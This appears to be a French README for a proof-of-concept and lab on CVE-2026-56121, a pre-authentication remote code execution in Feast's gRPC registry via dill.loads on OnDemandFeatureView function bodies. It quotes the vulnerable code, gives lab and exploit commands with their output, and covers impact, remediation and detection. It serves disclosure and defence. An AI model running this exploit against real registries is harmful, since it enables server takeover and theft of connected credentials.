CVE-2026-56121 — Feast <0.63.0 RCE non authentifié via le registre gRPC dill.loads de UDF OnDemandFeatureView (pré-authentification). Lab + PoC, vérifié e2e.
Le serveur gRPC du registre Feast
< 0.63.0exécutedill.loads()sur la fonction définie par l'utilisateur d'unOnDemandFeatureViewdès qu'une spécification arrive — avant toute vérification d'autorisation. La configuration livrée estauth: no_auth, donc tout client pouvant atteindre le port du registre (par défaut6570) obtient une exécution de code à distance non authentifiée en envoyant une seule requêteApplyFeatureViewavec un pickle malveillant.
| CVE | CVE-2026-56121 |
| Affected | Feast < 0.63.0 |
| Fixed | 0.63.0 |
| Class | CWE-502 (Désérialisation de données non fiables) → RCE |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Auth | Aucune (auth: no_auth par défaut ; la désérialisation a lieu avant l'autorisation) |
| Surface | registre gRPC RegistryServer.ApplyFeatureView (port par défaut 6570) |
| Status | CONFIRMÉ — reproduit de bout en bout avec feast==0.62.0 |
sdk/python/feast/registry_server.py:
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
...
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view) # (1) deserialize
...
assert_permissions_to_update(resource=feature_view, ...) # (2) authorize
self.proxied_registry.apply_feature_view(...)
from_proto (1) est appelé avant la vérification des permissions (2). Il analyse la transformation, qui exécute dill.loads() sur le corps de la UDF — sdk/python/feast/transformation/pandas_transformation.py (et python_transformation.py) :
@classmethod
def from_proto(cls, user_defined_function_proto):
return cls(
udf=dill.loads(user_defined_function_proto.body), # <-- attacker-controlled pickle
udf_string=user_defined_function_proto.body_text,
)
dill est un sur-ensemble de pickle, donc dill.loads() d'octets attaquants invoque le mécanisme __reduce__ de pickle → exécution de code arbitraire. Comme il s'exécute avant assert_permissions_to_update — et que le auth: no_auth par défaut rend cette vérification inopérante — la RCE est non authentifiée.
# 1. Start a vulnerable registry server (feast 0.62.0, gRPC :6570, default no_auth)
docker compose -f lab/docker-compose.yml up --build -d
# 2. Fire the PoC (no credentials)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"
# 3. Command output appears on the registry host
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
# uid=...(...) <hostname>
Observé :
[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.
Le RPC finit par générer une erreur (l'objet dépicklé n'est plus une UDF appelable), mais la commande s'est déjà exécutée pendant dill.loads() — cat /tmp/feast_pwned renvoie la sortie réelle de id/uname, prouvant l'exécution plutôt qu'un simple écho.
Toute personne capable d'atteindre le port gRPC du registre Feast peut exécuter des commandes OS arbitraires en tant que compte de service du registre — compromission totale du feature store et des stores hors ligne/en ligne, des registres et des identifiants cloud auxquels il est connecté. Les registres Feast sont fréquemment exposés à l'intérieur des plateformes ML pour que les clients SDK puissent les appeler.
skip_udf afin que le serveur de registre ne désérialise plus le corps de la UDF des spécifications entrantes.auth (oidc/kubernetes) et n'exposez jamais le port du registre à des réseaux non fiables. Notez que l'authentification seule ne suffit pas sur < 0.63.0, car la désérialisation précède la vérification d'autorisation.Alertez sur les RPC ApplyFeatureView / ApplyMaterialization vers le registre dont le user_defined_function.body de OnDemandFeatureView n'est pas produit par un client de confiance, et sur les processus du registre qui lancent des shells.
Consultez ANALYSIS.md pour le chemin proto, l'ordre désérialisation-avant-autorisation et le correctif.